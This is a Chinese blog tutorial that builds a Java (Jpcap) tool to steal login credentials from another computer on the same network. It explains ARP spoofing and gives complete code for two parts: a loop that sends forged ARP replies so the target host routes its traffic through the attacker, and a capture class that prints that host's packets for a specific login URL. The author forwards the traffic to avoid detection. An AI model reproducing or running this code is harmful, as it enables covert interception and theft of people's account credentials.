Java抓取网页信息 获取账号密码 http成功获取 https获取的是乱码 java监听网络 java拦截器
起因:
公司安排的任务写一个java代码 可以实现获取打开网页的账号信息
思路:
如果是正常情况是应该通过电脑网卡预先设置或分配的IP+网关对路由器进行通讯,比如访问同城配送后台系统:
A主机(指定网关) >> 路由器 >> DNS(域名转IP) >> 服务端(后台管理)
我理解要实现的就是在, "A主机” 请求"路由器"的时间进行数据包的拦截,并转发至真正的路由器(转发是因为要让A正常使用网页 不转发的现象是没有反应 这样子拦截可能被专业人士怀疑并发现) ,这个时候A主机的请求数据就被我们获取下来了。
疑问:
要达到上文所诉目的,需要解决以下三个疑问
1) A主机是如何跟路由器进行通讯(原理)
2) 我该如何拦截
3) 如何利用代码或工具实现拦截
问题1:
解析:A主机发送数据包肯定需要跟路由器进行交互,那么路由器的地址就一定存储在A主机的某处地方。这就需要利用到网络协议的ARP(<这是地址)协议(详情请打开查看ARP原理)。
打开命令行窗口,输入arp -a 查看缓存地址列表,可以看到的是路由器的IP地址跟MAC地址
答案:A主机发送数据包>>寻找路由器地址>>封装数据包>>路由器
问题2:
解析:通过问题1我们已经得知A主机是如何跟路由器进行数据包的通信的了。(广播式获取路由器IP地址及MAC,然后存储在ARP缓存列表。广播式就是整个频段下都可以看到,例如192.168.1.45),那我们需要做的就是主动发送一个广播给A主机,告诉它我们才是路由器。你需要发送数据包到我这里。看下图(20:f4:1b:70:8:2e 这个是我伪装的MAC地址),这样A主机发送的数据包就到我们的机器里了。同时我们还需网络转发,不然A主机不能正常上网。
答案:A主机发送数据包>>伪装路由器主机>>寻找路由器地址>>封装数据包>>路由器
问题3:
解析:Java有对ARP协议支持的JAR包Jpcap。
答案:Java利用Jpcap编写arp拦截。
通过三个问题我们收获了ARP原理,及Java如何实现数据包拦截(Jpcap.jar+Jpcap.dll)
以上为整体思路,下面就是具体代码实现 及操作步骤。
开发环境:
编辑器:intellij idea 2017
JDK:1.7 (之前是1.8 当时因为一直报错 所以换成了1.7 最后发现不是因为jdk版本报错 所以jdk1.8到底行不行 自己去实践吧)
jar:Jpcap.jar (需要导入你的项目使用)
支持库:Jpcap.dll 需要放在C:\Program Files\Java\jdk1.7.0_80\bin (这里是我的jdk路径,实际要根据自己的安装路径和系统环境变量统一)
必要条件:安装 winpcap (必须安装)
下载地址:
1.jdk1.7网上或者在我工具下载里面有分享
2.jpcap.jar 和Jpcap.dll xx
链接:https://pan.baidu.com/s/1xgUt2NazuIplPtT6ezGVSQ
提取码:plhc
3.winpcap下载地址
链接:https://pan.baidu.com/s/1oHtEuUEEyV0zqZQMDKs65A
提取码:dksc
配置参数单独一个class文件:
public class Constants { public static String DE_IP = "192.168.0.45"; public static String DE_MAC = "ac-bc-32-93-97-6d"; public static String SRC_IP = "192.168.0.1";// public static String SRC_MAC = "20-F4-1B-80-08-2E"; public static int NET_WORK = 0; public static int TIME = 2; }
网卡工具类:
public class NetWorkUtil {
public static NetworkInterface getDevice(String segment)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
for (int i =0;i<devices.length;i++)
{
NetworkInterfaceAddress[] addresses = devices[i].addresses;
if(addresses[1].address.toString().startsWith(segment)){//判断IP相同的开始部分相同即可
return devices[i];
}
}
return devices[0];
}
public static NetworkInterface getDevice(int network)
{
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterfaceAddress[] addresses = devices[network].addresses;
NetworkInterface device = devices[network];
return device;
}
}
数据包拦截类文件:
import jpcap.*; import jpcap.packet.Packet; import util.NetWorkUtil; import java.io.IOException; import java.io.UnsupportedEncodingException; public class NetWorkIntercept { /* 拦截网卡数据包 */ public static void main(String[] args) throws Exception { //获取同网段网卡 NetworkInterface device = NetWorkUtil.getDevice(Constants.NET_WORK); //打开网卡 JpcapCaptor captor = JpcapCaptor.openDevice(device,65535,false,20); while (true) { //获取流量包,这个时间arp欺诈成功后,该主机的流量包就会通过你的主机网卡发送。 Packet p = captor.getPacket(); if(p!=null) { byte header_byte[] = p.data; String header = new String(header_byte,"ISO-8859-1"); if(header.contains("http://10.40.0.55:8081/web/showLogin")) //只拦截符合条件的
{ System.out.println(header); JpcapSender sender = captor.getJpcapSenderInstance();//获取 sender.sendPacket(p);//数据包发送 } } } } }
ARP 对指定主机的拦截
import jpcap.JpcapCaptor; import jpcap.JpcapSender; import jpcap.NetworkInterface; import jpcap.packet.ARPPacket; import jpcap.packet.EthernetPacket; import java.net.InetAddress; import java.net.UnknownHostException; public class ArpTest { public static void main(String[] args) throws Exception { sendArp(Constants.DE_IP,Constants.DE_MAC,Constants.SRC_IP,Constants.SRC_MAC,Constants.NET_WORK,Constants.TIME); } /** * 为什么需要IP地址跟MAC地址呢?因为我们需要去对他进行ARP协议的欺骗。 * @param deip A主机地址(被欺骗的目标IP地址 * @param deMac A主机MAC地址(被欺骗的目标目标MAC数组 * @param srcIp 被替换Mac地址的IP地址 * @param srcMac 假的MAC数组,也就是我们用来捕捉数据包的主机MAC地址。 * @param network 发送arp的网卡,与被欺骗目标地址需要在同一网段 * @param time ARP重发间隔时间,不断发送防止被路由器地址替换 * @throws Exception */ static void sendArp(String deip,String deMac,String srcIp,String srcMac,int network,int time) throws Exception { InetAddress desip = InetAddress.getByName(deip); byte[] desmac = stomac(deMac); InetAddress srcip = InetAddress.getByName(srcIp); byte[] srcmac = stomac(srcMac); // 枚举网卡并打开设备 NetworkInterface[] devices = JpcapCaptor.getDeviceList(); NetworkInterface device = devices[network]; JpcapSender sender = JpcapSender.openDevice(device); // 设置ARP包 ARPPacket arp = new ARPPacket(); arp.hardtype = ARPPacket.HARDTYPE_ETHER; arp.prototype = ARPPacket.PROTOTYPE_IP; arp.operation = ARPPacket.ARP_REPLY; arp.hlen = 6; arp.plen = 4; arp.sender_hardaddr = srcmac; arp.sender_protoaddr = srcip.getAddress(); arp.target_hardaddr = desmac; arp.target_protoaddr = desip.getAddress(); // 设置DLC帧 EthernetPacket ether = new EthernetPacket(); ether.frametype = EthernetPacket.ETHERTYPE_ARP; ether.src_mac = srcmac; ether.dst_mac = desmac; arp.datalink = ether; // 发送ARP应答包 while (true) { System.out.println("send arp > "+deip); sender.sendPacket(arp); Thread.sleep(time * 1000); } } static byte[] stomac(String s) { byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 }; String[] s1 = s.split("-"); for (int x = 0; x < s1.length; x++) { mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff); } return mac; } }
源码下载:
链接:https://pan.baidu.com/s/1Vbv2RAovHs1JEYYh-iD1Kg
提取码:1xn0